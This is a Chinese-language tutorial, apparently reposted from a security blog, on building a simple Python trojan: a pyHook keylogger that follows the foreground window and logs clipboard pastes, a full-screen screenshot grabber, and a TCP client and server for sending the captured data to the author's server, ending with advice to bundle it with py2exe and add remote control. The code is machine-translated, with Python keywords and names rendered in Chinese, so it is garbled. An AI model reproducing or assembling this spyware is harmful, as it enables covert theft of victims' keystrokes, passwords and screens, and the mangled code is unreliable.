怎么编写木马程序,简单木马程序编写代码

  怎么编写木马程序,简单木马程序编写代码

  光明日报2015年1月26日10时07分

  0x00就绪

  文章内容仅供学习研究,不得用于非法用途!

  这次用Python写一个简单的木马,有键盘录音,截屏,通讯功能。Sublime text2 JEDI(python自动完成插件)依然用来“编码”。请参考这里安装和配置绝地插件:http://drops.wooyun.org/tips/4413.

  首先准备好我们需要的依赖库,python hook和pythoncom。

  下载python hook

  下载pythoncom模块:

  http://sourceforge.net/projects/pywin32/files/pywin32/Build 219/pywin32-219 . win32-py 2.7 . exe/下载

  如果觉得麻烦,可以直接用Active python的商业版,里面集成了我们需要的所有python库(我们可以用他的免费版):

  http://www.activestate.com/activepython

  0x01键盘记录器

  说起键盘记录器,大家的思维可能已经飞到了带wifi功能的迷你硬件上了。抛开高科技,我们暂且回归本质,探讨一下简易键盘录音机的原理和实现。

  Python keylogger键盘记录器功能的实现主要使用pythoncom和pythonhook,然后对windows API进行各种调用。Python之所以使用起来方便快捷,主要得益于这些庞大的支持库,正所谓“人生苦短,快用Python”。

  代码段:#!大蟒

  # -*-编码:utf-8 -*-

  从ctypes导入*

  导入pythoncom

  导入pyHook

  导入win32剪贴板

  user32=windll.user32

  kernel32=windll.kernel32

  psapi=windll.psapi

  当前窗口=无

  #

  def get_current_process():

  #获取顶层窗口句柄

  hwnd=user32。GetForegroundWindow()

  #获取进程ID

  pid=c_ulong(0)

  用户32。GetWindowThreadProcessId(hwnd,byref(pid))

  #将进程ID存储在变量中

  process_id=%d % pid.value

  #请求内存

  executable=create _ string _ buffer( \ x00 * 512)

  h_process=kernel32。OpenProcess(0x400 0x10,False,pid)

  psapi。GetModuleBaseNameA(h_process,None,byref(可执行文件),512)

  #阅读窗口标题

  windows _ title=create _ string _ buffer( \ x00 * 512)

  长度=user32。GetWindowTextA(hwnd,byref(windows_title),512)

  #打印

  打印

  打印[ PID:%s-%s-%s] %(进程标识,可执行文件.值,窗口标题.值)

  打印

  #关闭手柄

  kernel32。关闭手柄(hwnd)

  kernel32。关闭句柄(h_process)

  #定义击键监听事件函数

  定义击键(事件):

  全局当前窗口

  #检测目标窗口是否被转移(当其他窗口改变时监听新窗口)

  如果事件。WindowName!=当前窗口:

  当前窗口=事件。窗口名称

  #函数调用

  get_current_process()

  #检查击键是否为常规键(非组合键等。)

  如果事件。Ascii 32和事件。Ascii 127:

  打印chr(事件。Ascii),

  否则:

  #如果发现Ctrl v(粘贴)事件,记录粘贴板的内容。

  如果事件。Key==V :

  win32clipboard。OpenClipboard()

  pasted_value=win32clipboard。GetClipboardData()

  win32clipboard。CloseClipboard()

  打印[粘贴]-%s %(粘贴值),

  否则:

  打印“[% s]”%事件。钥匙,

  #循环监听下一个击键事件

  返回True

  #创建并注册挂钩管理器

  kl=pyHook。HookManager()

  kl。按键

  #注册钩子并执行它

  kl。挂钩键盘()

  pythoncom。PumpMessages()

  复制代码

  【知识点】钩子(Hook):一种平台钩子):Windows消息处理机制,在此机制上应用程序可以设置程序在指定的窗口中监控某些消息,被监控的窗口可以由其他进程创建。

  编码时注意严格区分大小写。检查后启动键盘记录器:

  然后你可以试着打开记事本写点东西。在此过程中,您可以看到我们的键盘记录窗口正在实时记录我们的输入:

  切换窗口的时候会自动跟踪到新的窗口(钟:没有这个功能你敢调用键盘记录程序!),光明教授趁机骚扰疯狗。您可以看到,我们的键盘记录器跟踪到了QQ聊天窗口,如实记录了我输入的所有内容。

  0x02看看你在做什么:写一个屏幕截图

  截屏更容易实现,直接调用几个gui相关的API就可以了。直接看代码吧:#!大蟒

  # -*-编码:utf-8 -*-

  导入win32gui

  导入win32ui

  导入win32con

  导入win32api

  # 获取桌面

  hdesktop=win32gui .GetDesktopWindow()

  # 分辨率适应

  width=win32api .GetSystemMetrics(win32con .SM_CXVIRTUALSCREEN)

  height=win32api .GetSystemMetrics(win32con .SM_CYVIRTUALSCREEN)

  left=win32api .GetSystemMetrics(win32con .SM _ XVIRTUALSCREEN)

  top=win32api .GetSystemMetrics(win32con .SM_YVIRTUALSCREEN)

  # 创建设备描述表

  desktop_dc=win32gui .GetWindowDC(hdesktop)

  img_dc=win32ui .CreateDCFromHandle(desktop_dc)

  # 创建一个内存设备描述表

  mem_dc=img_dc .CreateCompatibleDC()

  # 创建位图对象

  截图=win32ui .CreateBitmap()

  截图CreateCompatibleBitmap(img_dc,width,height)

  mem_dc .选择对象(截图)

  # 截图至内存设备描述表

  mem_dc .BitBlt((0,0),(width,height),img_dc,(left,top),win32con .SRCCOPY)

  # 将截图保存到文件中

  截图SaveBitmapFile(mem_dc, c:\ \ WINDOWS \ \ Temp \ \ snapshot。BMP’)

  # 内存释放

  mem_dc .DeleteDC()

  win32gui .删除对象(截图GetHandle())

  复制代码

  看看效果如何:

  0x03综合运用:完成一个简易木马

  无论是键盘记录器记录下的内容,还是截屏机截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单计算机网络服务器和客户端来进行通信,传输记录下的内容到我们的服务器上。

  编写一个简单的TCPclient#!大蟒

  # -*-编码:utf-8 -*-

  导入插座

  # 目标地址IP/URL及端口

  target_host=127.0.0.1

  目标端口=9999

  # 创建一个窝对象

  客户端=套接字.套接字(套接字AF_INET,socket .袜子_流)

  # 连接主机

  client.connect(目标主机,目标端口))

  # 发送数据

  客户。send( GET/HTTP/1.1 \ r \ n主机:127。0 .0 .1 \ r \ n \ r \ n )

  # 接收响应

  response=client.recv(4096)

  打印响应

  复制代码

  编写一个简单的TCPserver#!大蟒

  # -*-编码:utf-8 -*-

  导入插座

  导入线程

  # 监听的互联网协议(互联网协议)及端口

  bind_ip=127.0.0.1

  bind_port=9999

  server=socket.socket(套接字.AF_INET,插座.袜子_流)

  server.bind((bind_ip,bind_port))

  server.listen(5)

  打印[*]侦听% s:% d“%(绑定ip,绑定端口)

  定义句柄_客户端(客户端_套接字):

  请求=客户端_套接字。recv(1024)

  收到的打印[*]请求:% s %

  client_socket.send(ok!)

  客户端_套接字。关闭()

  虽然正确:

  client,addr=server.accept()

  打印[*]接受来自以下位置的连接:% s:% d“%(地址[0],地址[1])

  客户端处理程序=线程。线程(target=handle_client,args=(client,))

  client_handler.start()

  复制代码

  开启服务端监听:

  客户端执行:

  服务端接收到客户端的请求并作出响应:

  0x04结语

  最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成可执行程序的扩展名可执行文件。当然你还可以继续发挥,加上远程控制功能Py2exe .用法可以参考这里:

  http://www.py2exe.org/index.cgi/Tutorial

  享受编码吧~

  参考文档:

  《Black Hat Python》 https://www.google.com https://www.python.org/http://www.py2exe.org/

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: